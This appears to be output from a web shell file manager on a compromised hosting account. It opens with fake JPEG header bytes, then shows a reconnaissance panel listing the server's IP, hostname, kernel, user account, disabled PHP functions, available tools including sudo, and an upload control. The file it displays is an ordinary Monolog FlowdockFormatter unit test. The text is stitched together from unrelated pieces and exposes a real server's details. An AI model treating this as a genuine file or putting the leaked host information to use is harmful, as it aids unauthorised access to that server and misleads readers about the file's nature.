ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.149.25.113 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/monolog/monolog/tests/Monolog/Formatter/ |
Upload File : |
<?php /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; use Monolog\TestCase; class FlowdockFormatterTest extends TestCase { /** * @covers Monolog\Formatter\FlowdockFormatter::format */ public function testFormat() { $formatter = new FlowdockFormatter('test_source', 'source@test.com'); $record = $this->getRecord(); $expected = array( 'source' => 'test_source', 'from_address' => 'source@test.com', 'subject' => 'in test_source: WARNING - test', 'content' => 'test', 'tags' => array('#logs', '#warning', '#test'), 'project' => 'test_source', ); $formatted = $formatter->format($record); $this->assertEquals($expected, $formatted['flowdock']); } /** * @ covers Monolog\Formatter\FlowdockFormatter::formatBatch */ public function testFormatBatch() { $formatter = new FlowdockFormatter('test_source', 'source@test.com'); $records = array( $this->getRecord(Logger::WARNING), $this->getRecord(Logger::DEBUG), ); $formatted = $formatter->formatBatch($records); $this->assertArrayHasKey('flowdock', $formatted[0]); $this->assertArrayHasKey('flowdock', $formatted[1]); } }